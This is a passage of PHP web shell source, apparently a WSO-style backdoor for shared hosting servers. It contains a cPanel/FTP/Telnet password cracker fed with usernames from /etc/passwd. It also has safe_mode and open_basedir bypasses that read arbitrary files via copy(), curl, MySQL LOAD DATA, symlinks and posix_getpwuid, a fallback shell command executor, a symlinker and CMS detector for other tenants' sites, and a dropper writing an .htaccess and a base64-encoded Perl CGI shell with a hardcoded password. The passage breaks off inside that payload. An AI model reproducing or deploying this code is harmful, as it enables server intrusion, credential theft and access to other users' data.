1050<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
1051</td>
1052
1053<td>
1054'.$UID['name']."
1055</td>
1056
1057<td>
1058<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
1059</td>
1060
1061</tr></div> ";
1062flush();
1063}
1064}
1065}
1066}
1067
1068echo "</center></table>";
1069wsoFooter(); }
1070###################### Cpanel Cracker ############################
1071function actioncpcrack() {
1072wsoHeader();
1073// Cpanel Cracker
1074echo "<center>
1075<h1>Cpanel Cracker</h1>
1076<br>
1077";
1078 {
1079 $cpanel_port="2082";
1080 $connect_timeout=5;
1081 ?>
1082 <center>
1083 <form method=post>
1084 <table style="border:none; overflow:hidden; height:90px;" border=1 cellpadding=4>
1085 <tr>
1086 <td align=center colspan=2>Target <br><input type=text name="server" value="localhost" class=sbox></td>
1087 </tr>
1088 <tr>
1089 <td align=center>[ User names ]</td><td align=center>[ Password ]</td>
1090 </tr>
1091 <tr>
1092 <td align=center><textarea name=username rows=20 cols=20 class=box><?php
1093 if ($os != "Windows") {
1094 if (@file('/etc/passwd')) {
1095 $users = file('/etc/passwd');
1096 foreach ($users as $user) {
1097 $user = explode(':', $user);
1098 echo $user[0] . "
1099";
1100 }
1101 } else {
1102 $temp = "";
1103 $val1 = 0;
1104 $val2 = 1000;
1105 for (;$val1 <= $val2;$val1++) {
1106 $uid = @posix_getpwuid($val1);
1107 if ($uid) $temp.= join(':', $uid) . "
1108";
1109 }
1110 $temp = trim($temp);
1111 if ($file5 = fopen("test.txt", "w")) {
1112 fputs($file5, $temp);
1113 fclose($file5);
1114 $file = fopen("test.txt", "r");
1115 while (!feof($file)) {
1116 $s = fgets($file);
1117 $matches = array();
1118 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1119 $matches = str_replace("home/", "", $matches[1]);
1120 if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue;
1121 echo $matches;
1122 }
1123 fclose($file);
1124 }
1125 }
1126 }
1127?></textarea></td><td align=center><textarea name=password rows=20 cols=20 class=box></textarea></td>
1128 </tr>
1129 <tr>
1130 <td align=center colspan=2>Guess options : <label><input name="cpcrack" type="radio" value="cpanel" checked>[ Cpanel(2082) ]</label><label><input name="cpcrack" type="radio" value="ftp"> [ Ftp(21) ]</label><label><input name="cpcrack" type="radio" value="telnet"> [ Telnet(23) ]</label></td>
1131 </tr>
1132 <tr>
1133 <td align=center colspan=2>Timeout delay : <br><input type="text" name="delay" value=6 class=sbox></td>
1134 </tr>
1135 <tr>
1136 <td align=center colspan=2><input type="hidden" name="a" value="cpcrack"><input type="submit" name="cpcrack" value=">>" class=but></td>
1137 </tr>
1138 </table>
1139 </form>
1140 </center>
1141 <?php
1142 }
1143 wsoFooter();
1144 }
1145 ///Menus
1146 ####################### Baypassers #########################
1147 function actionbypss() {
1148 wsoHeader();
1149 echo '
1150<center>
1151<a href=# onclick="g(\'bypassing\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Jijle3 Bypasser ]</a><br><br>
1152<a href=# onclick="g(\'etcnmd\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Server User Function Bypasser ]</a><br><br>
1153<a href=# onclick="g(\'etcbaypass\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Etc/passwd/ Function Bypasser ]</a><br><br>
1154<a href=# onclick="g(\'SafeMode\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Safe Mode Bypass ]</a><br>
1155';
1156 wsoFooter();
1157 }
1158 ####################### bypassing #########################
1159 function actionbypassing() {
1160 wsoHeader();
1161 echo '<center><h1>Jijle3 Function Bypasser </h1>';
1162 error_reporting(0);
1163 set_magic_quotes_runtime(0);
1164 if (version_compare(phpversion(), '4.1.0') == - 1) {
1165 $_POST = & $HTTP_POST_VARS;
1166 $_GET = & $HTTP_GET_VARS;
1167 $_SERVER = & $HTTP_SERVER_VARS;
1168 }
1169 function inclink($link, $val) {
1170 $requ = $_SERVER["REQUEST_URI"];
1171 if (strstr($requ, $link)) {
1172 return preg_replace("/$link=[\d\w\W\D\S]*/", "$link=$val", $requ);
1173 } elseif (strstr($requ, "showsc")) {
1174 return preg_replace("/showsc=[\d\w\W\D\S]*/", "$link=$val", $requ);
1175 } elseif (strstr($requ, "hlp")) {
1176 return preg_replace("/hlp=[\d\w\W\D\S]*/", "$link=$val", $requ);
1177 } elseif (strstr($requ, "?")) {
1178 return $requ . "&" . $link . "=" . $val;
1179 } else {
1180 return $requ . "?" . $link . "=" . $val;
1181 }
1182 }
1183 function delm($delmtxt) {
1184 print "<center><table bgcolor=black style='border:1px solid #008080' width=99% height=2%>";
1185 print "<tr><td><b><center><font size=2 color=#008080>$delmtxt</td></tr></table></center>";
1186 }
1187 function callfuncs($cmnd) {
1188 if (function_exists(shell_exec)) {
1189 $scmd = shell_exec($cmnd);
1190 $nscmd = htmlspecialchars($scmd);
1191 print $nscmd;
1192 } elseif (!function_exists(shell_exec)) {
1193 exec($cmnd, $ecmd);
1194 $ecmd = join("
1195", $ecmd);
1196 $necmd = htmlspecialchars($ecmd);
1197 print $necmd;
1198 } elseif (!function_exists(exec)) {
1199 $pcmd = popen($cmnd, "r");
1200 while (!feof($pcmd)) {
1201 $res = htmlspecialchars(fgetc($pcmd));;
1202 print $res;
1203 }
1204 pclose($pcmd);
1205 } elseif (!function_exists(popen)) {
1206 ob_start();
1207 system($cmnd);
1208 $sret = ob_get_contents();
1209 ob_clean();
1210 print htmlspecialchars($sret);
1211 } elseif (!function_exists(system)) {
1212 ob_start();
1213 passthru($cmnd);
1214 $pret = ob_get_contents();
1215 ob_clean();
1216 print htmlspecialchars($pret);
1217 }
1218 }
1219 function input($type, $name, $value, $size) {
1220 if (empty($value)) {
1221 print "<input type=$type name=$name size=$size>";
1222 } elseif (empty($name) && empty($size)) {
1223 print "<input type=$type value=$value >";
1224 } elseif (empty($size)) {
1225 print "<input type=$type name=$name value=$value >";
1226 } else {
1227 print "<input type=$type name=$name value=$value size=$size >";
1228 }
1229 }
1230 function permcol($path) {
1231 if (is_writable($path)) {
1232 print "<font color=#008080>";
1233 callperms($path);
1234 print "</font>";
1235 } elseif (!is_readable($path) && !is_writable($path)) {
1236 print "<font color=red>";
1237 callperms($path);
1238 print "</font>";
1239 } else {
1240 print "<font color=white>";
1241 callperms($path);
1242 }
1243 }
1244 if ($dlink == "dwld") {
1245 download($_REQUEST['dwld']);
1246 }
1247 function download($dwfile) {
1248 $size = filesize($dwfile);
1249 @header("Content-Type: application/force-download;name=$dwfile");
1250 @header("Content-Transfer-Encoding: binary");
1251 @header("Content-Length: $size");
1252 @header("Content-Disposition: attachment; filename=$dwfile");
1253 @header("Expires: 0");
1254 @header("Cache-Control: no-cache, must-revalidate");
1255 @header("Pragma: no-cache");
1256 @readfile($dwfile);
1257 exit;
1258 }
1259?>
1260<?
1261$nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();
1262$sf="<form method=post>";$ef="</form>";
1263$st="<table style=\"border:1px #dadada solid \" width=100% height=100%>";
1264$et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">";
1265$c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>";
1266$sta="<textarea cols=157 rows=23>";$eta="</textarea>";
1267$sfnt="<font face=tahoma size=2 color=#008080>";$efnt="</font>";
1268///////////////////////////////
1269 //
1270$mysql_use = "no"; //"yes" //
1271$mhost = "localhost"; //
1272$muser = "root"; //
1273$mpass = "pass"; //
1274$mdb = "name"; //
1275$them = "xxx"; //any site //
1276$you = "xx"; //your username //
1277$flib = "hack15.txt"; //
1278$folder = "hack15.txt"; //
1279///////////////////////////////
1280################# PhP Hacked ########################
1281// read greet //
1282if ($linux=='greet')
1283{
1284 echo "</textarea>";
1285}
1286// read file unzend sorce //
1287if(empty($_POST['sorce'])){
1288} else {
1289}
1290// read file unzend functions //
1291 if(empty($_POST['func'])){
1292} else {
1293echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1294$zeen=$_POST['func'];
1295require("$zeen");
1296echo "Database : ".$config['Database']['dbname']." <X> ";
1297echo "UserName : ".$config['MasterServer']['username']." <X> ";
1298echo "Password : ".$config['MasterServer']['password']." <X> ";
1299echo "</textarea></p>";
1300}// read file symlink ( ) //
1301if(empty($_POST['sym'])){
1302} else {
1303echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1304$fp = fopen("hack15.txt","w+");
1305fwrite($fp,"Php Hacker Was Here");
1306@unlink($flib);
1307$sym = "/home/" . $them . "/public_html/" . $k;
1308$link = "/home/" . $you . "/public_html/" . $folder . "/" . $flib;
1309@symlink($sym, $link);
1310if ($k{0} == "/") {
1311echo "<script> window.location = '" . $flib . "'</script>";
1312}else{
1313echo "<pre><xmp>";
1314echo readlink($flib) . "
1315";
1316echo "Filesize: " . linkinfo($flib) . "B
1317
1318";
1319echo file_get_contents("http://" . $_SERVER['HTTP_HOST'] . "/" . $folder . "/" . $flib);
1320 echo "</textarea>";
1321}
1322}
1323
1324// read file plugin ( ) //
1325if(empty($_POST['plugin'])){
1326} else {
1327echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1328for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
1329 $ara = posix_getpwuid($uid);
1330 if (!empty($ara)) {
1331 while (list ($key, $val) = each($ara)){
1332 print "$val:";
1333 }
1334 print "
1335";
1336 }
1337 }
1338 echo "</textarea>";
1339}
1340// read file id ( ) //
1341if ($_POST['rid'] ){
1342echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1343 for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd
1344$ara = posix_getpwuid($uid);
1345 if (!empty($ara)) {
1346while (list ($key, $val) = each($ara)){
1347print "$val:";
1348}
1349 print "
1350";
1351}
1352 }
1353echo "</textarea>";
1354break;
1355
1356 }
1357// read file imap ( ) //
1358$string = !empty($_POST['rimap']) ? $_POST['rimap'] : 0;
1359if(empty($_POST['rimap'])){
1360} else {
1361echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1362$stream = imap_open($string, "", "");
1363$str = imap_body($stream, 1);
1364echo "</textarea>";
1365}
1366// read file Curl ( ) //
1367if(empty($_POST['curl'])){
1368} else {
1369echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1370$m=$_POST['curl'];
1371$ch =
1372curl_init("file:///".$m."/../../../../../../../../../../../../".__FILE__);
1373curl_exec($ch);
1374var_dump(curl_exec($ch));
1375echo "</textarea>";
1376}
1377// read file SQL ( ) //
1378if(empty($_POST['ssql'])){
1379} else {
1380echo "<textarea method='POST' cols='95' rows='30' wrar='off' >";
1381$file=$_POST['ssql'];
1382$mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf";
1383$mysql_files = explode(':', $mysql_files_str);
1384$sql = array (
1385"USE $mdb",
1386'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',
1387"LOAD DATA LOCAL INFILE '$file' INTO TABLE $tbl FIELDS "
1388. "TERMINATED BY '__THIS_NEVER_HAPPENS__' "
1389. "ESCAPED BY '' "
1390. "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",
1391"SELECT a FROM $tbl LIMIT 1"
1392);
1393mysql_connect ($mhost, $muser, $mpass);
1394 foreach ($sql as $statement) {
1395 $q = mysql_query ($statement);
1396 if ($q == false) die (
1397 "FAILED: " . $statement . "
1398" .
1399 "REASON: " . mysql_error () . "
1400"
1401 );
1402 if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;
1403 echo htmlspecialchars($r[0]);
1404 mysql_free_result ($q);
1405 }
1406echo "</textarea>";
1407}
1408// read file copy & ini ( ) //
1409if (isset ($_REQUEST['safefile'])){
1410$file=$_REQUEST['safefile'];$tymczas="";if(empty($file)){
1411if(empty($_GET['file'])){if(empty($_POST['file'])){
1412print "<center>[ Please choose a file first to read it using copy() ]</center>";
1413} else {$file=$_POST['file'];}} else {$file=$_GET['file'];}}
1414$temp=tempnam($tymczas, "cx");if(copy("compress.zlib://".$file, $temp)){
1415$zrodlo = fopen($temp, "r");$tekst = fread($zrodlo, filesize($temp));
1416fclose($zrodlo);echo "<center><pre>".$sta.htmlspecialchars($tekst).$eta."</pre></center>";unlink($temp);} else {
1417print "<FONT COLOR=\"RED\"><CENTER>Sorry, Can't read the selected file !!
1418</CENTER></FONT><br>";}}if (isset ($_REQUEST['inifile'])){
1419ini_restore("safe_mode");ini_restore("open_basedir");
1420print "<center><pre>".$sta;
1421if (include(htmlspecialchars($_REQUEST['inifile']))){}else {print "Sorry, can't read the selected file !!";}
1422}
1423?>
1424</center><table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr><td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%>
1425<tr><td height=22% style="border:1px #dadada solid "><div><b>
1426<center>
1427Using copy() function</div></tr></td><tr>
1428<td style="border:1px #dadada solid "><form method=post>
1429<input type=text name=safefile value=/etc/passwd size=75 >
1430<input type=hidden name=scdir value=/etc/passwd >
1431<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1432</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr>
1433<td height=22% style="border:1px #dadada solid "><div><b><center>
1434Using ini_restore() function</div></tr></td><tr>
1435<td style="border:1px #dadada solid "><form method=post>
1436<input type=text name=inifile value=/etc/passwd size=75 >
1437<input type=hidden name=scdir value=/etc/passwd >
1438<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1439</center></tr></td></form></table></td></tr></table><table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr>
1440<td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
1441Using sql() function</div></tr></td><tr>
1442<td style="border:1px #dadada solid "><form method=post>
1443<input type=text name=ssql value=/etc/passwd size=75 >
1444<input type=hidden name=scdir value=/etc/passwd >
1445<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1446</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
1447Using Curl() function</div></tr></td><tr>
1448<td style="border:1px #dadada solid "><form method=post>
1449<input type=text name=curl value=/etc/passwd size=75 >
1450<input type=hidden name=scdir value=/etc/passwd >
1451<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1452</center></tr></td></form></table></td></tr></table>
1453<table bgcolor=#2A2A2A style="border:2px solid black" width=100%><tr><td width=50%><div align=left>
1454<table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
1455Using imap() function</div></tr></td><tr>
1456<td style="border:1px #dadada solid "><form method=post>
1457<input type=text name=rimap value=/etc/passwd size=75 >
1458<input type=hidden name=scdir value=/etc/passwd >
1459<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1460</center></tr></td></form></table></td>
1461<td height=20% width=50%><div align=right>
1462<table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
1463Using id() function</div></tr></td><tr>
1464<td style="border:1px #dadada solid "><form method=post>
1465<input type=text name=rid value=/etc/passwd size=75 >
1466<input type=hidden name=scdir value=/etc/passwd >
1467<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1468</center></tr></td></form></table></td></tr></table><table bgcolor=#2A2A2A style="border:2px solid black" width=100%>
1469<tr><td width=50%><div align=left><table style="border:1px #dadada solid " width=100% height=100%><tr><td height=22% style="border:1px #dadada solid "><div><b><center>
1470Using plugin() function</div></tr></td><tr>
1471<td style="border:1px #dadada solid "><form method=post>
1472<input type=text name=plugin value=/etc/passwd size=75 >
1473<input type=hidden name=scdir value=/etc/passwd >
1474<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1475</center></tr></td></form></table></td><td height=20% width=50%><div align=right><table style="border:1px #dadada solid " width=100% height=100%><tr>
1476<td height=22% style="border:1px #dadada solid "><div><b><center>
1477Using symlink() function</div></tr></td><tr>
1478<td style="border:1px #dadada solid "><form method=post>
1479<input type=text name=sym value=/etc/passwd size=75 >
1480<input type=hidden name=scdir value=/etc/passwd >
1481<input type="hidden" name="a" value="bypassing"><input type=submit value=Bypass >
1482</center></tr></td></form></table></td></tr></table>
1483<?php
1484 wsoFooter();
1485 }
1486 ####################### symlinker #########################
1487 function actionsymlinker() {
1488 wsoHeader();
1489 echo '
1490<center>
1491<a href=# onclick="g(\'sym\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Symlink File ]</a><br><br>
1492<a href=# onclick="g(\'symserver\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Symlink Server From Named.conf ]</a><br><br>
1493<a href=# onclick="g(\'cms\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ CMS Detector ]</a><br>
1494';
1495 wsoFooter();
1496 }
1497 ####################### CMS #########################
1498 function actioncms() {
1499 wsoHeader();
1500?>
1501 <form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post">
1502<center><b><h1>CMS Detector</h1></b></center><br><br>
1503 <?php
1504 if (!file_exists('pee.tmp')) {
1505 @fopen('pee.tmp', 'w');
1506 echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
1507 echo '<tr><td><center><b>[ Web Site ]</b></center></td><td><center><b>[ User ]</b></center></td><td><center><b>[ CMS ]</b></center></td></table>';
1508 $p = 0;
1509 if (is_readable("/var/named")) {
1510 $list = scandir("/var/named");
1511 $current_dir = posix_getcwd();
1512 $dir = explode("/", $current_dir);
1513 foreach ($list as $domain) {
1514 if (strpos($domain, ".db")) {
1515 $domain = str_replace('.db', '', $domain);
1516 $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
1517 error_reporting(0);
1518 $link = $pageURL . 'pee/' . $owner['name'];
1519 cms_add($link, $domain, $owner['name'], "WordPress");
1520 cms_add($link, $domain, $owner['name'], "Joomla");
1521 cms_add($link, $domain, $owner['name'], "vBulletin");
1522 cms_add($link, $domain, $owner['name'], "WHMCS");
1523 cms_add($link, $domain, $owner['name'], "PhpBB");
1524 cms_add($link, $domain, $owner['name'], "MyBB");
1525 cms_add($link, $domain, $owner['name'], "IPB");
1526 cms_add($link, $domain, $owner['name'], "SMF");
1527 cms_add($link, $domain, $owner['name'], "Drupal");
1528 cms_add($link, $domain, $owner['name'], "e107");
1529 cms_add($link, $domain, $owner['name'], "Seditio");
1530 cms_add($link, $domain, $owner['name'], "osCommerce");
1531 }
1532 }
1533 }
1534 } else {
1535 echo '<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
1536 echo '<tr><td><center><b>[ Web Site ]</b></center></td><td><center><b>[ User ]</b></center></td><td><center><b>[ CMS ]</b></center></td></table><br><br>';
1537 $content = file_get_contents($pageURL . 'pee.tmp');
1538 echo $content;
1539 }
1540 wsoFooter();
1541 }
1542 ##################### CGI SHELL ####################
1543 function actioncgi() {
1544 wsoHeader();
1545 echo '<center><h1>Sample CGI Perl Shell</h1><div class=content>';
1546 echo '<center><h2>Password : jijle3</h2><div class=content>';
1547 mkdir('cgi-telnet', 0755);
1548 chdir('cgi-telnet');
1549 $kokdosya = ".htaccess";
1550 $dosya_adi = "$kokdosya";
1551 $dosya = fopen($dosya_adi, 'w') or die("Dosya açılamadı!");
1552 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
1553
1554AddType application/x-httpd-cgi .cin
1555
1556AddHandler cgi-script .cin
1557AddHandler cgi-script .cin";
1558 fwrite($dosya, $metin);
1559 fclose($dosya);
1560 $cgishellizocin = '
1561IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5bIFNhbXBsZSBDR0kgU2hlbGwgXS9iPiAjIHNlcnZlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENvbmZpZ3VyYXRpb246IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXINCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiRQYXNzd29yZCA9ICJqaWpsZTMiOwkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCg0KJFdpbk5UID0gMDsJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmDQoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4NCg0KJE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMNCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMNCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQ0KCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0DQoJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdA0KIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLg0KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9Lg0KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZg0KIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQ0KIyBzY3JpcHRzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJlYWRQYXJzZSANCnsNCglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOw0KCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7DQoJDQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQoNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCg0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw